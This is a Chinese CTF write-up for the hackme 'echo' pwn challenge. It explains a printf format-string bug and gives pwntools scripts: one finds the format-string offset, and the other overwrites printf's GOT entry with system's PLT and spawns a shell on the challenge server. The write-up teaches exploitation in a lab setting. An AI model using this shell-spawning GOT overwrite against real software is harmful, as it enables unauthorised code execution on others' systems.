hackme pwn echo [format string]

題目名稱就已經是很明顯的提示了!echo ~ 提示:格式化字符串

從IDA中看main:即可看到printf(&s)!

漏洞原理部分:

http://www.cnblogs.com/Ox9A82/p/5429099.html

漏洞刷題提升:

https://www.anquanke.com/post/id/85785

https://www.anquanke.com/post/id/147666

回到這個題,還是先checksec:

結合需要從鏈接中得到的知識點,我們開始泄露偏移:

輸入了%p,輸出的是0x100,即是fgets的256 = 0x100,利用工具可以直接得到,代碼如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

context.log_level = "debug"

def exec_fmt(payload):
    io = process("./echo")
    io.sendline(payload)
    info = io.recv()
    io.close()
    return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset

得到輸出是7,測試一下:

然後,將printf的got表的地址覆蓋成system的plt表的地址,然後輸入"/bin/sh",即原來是利用printf函數輸出該字符串,修改之後即執行system("/bin/sh")

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./echo")
io = remote("hackme.inndy.tw", 7711)
elf = ELF("./echo")

system_plt = elf.plt["system"]
printf_got = elf.got["printf"]

payload = fmtstr_payload(7, {printf_got:system_plt})
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00")
io.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章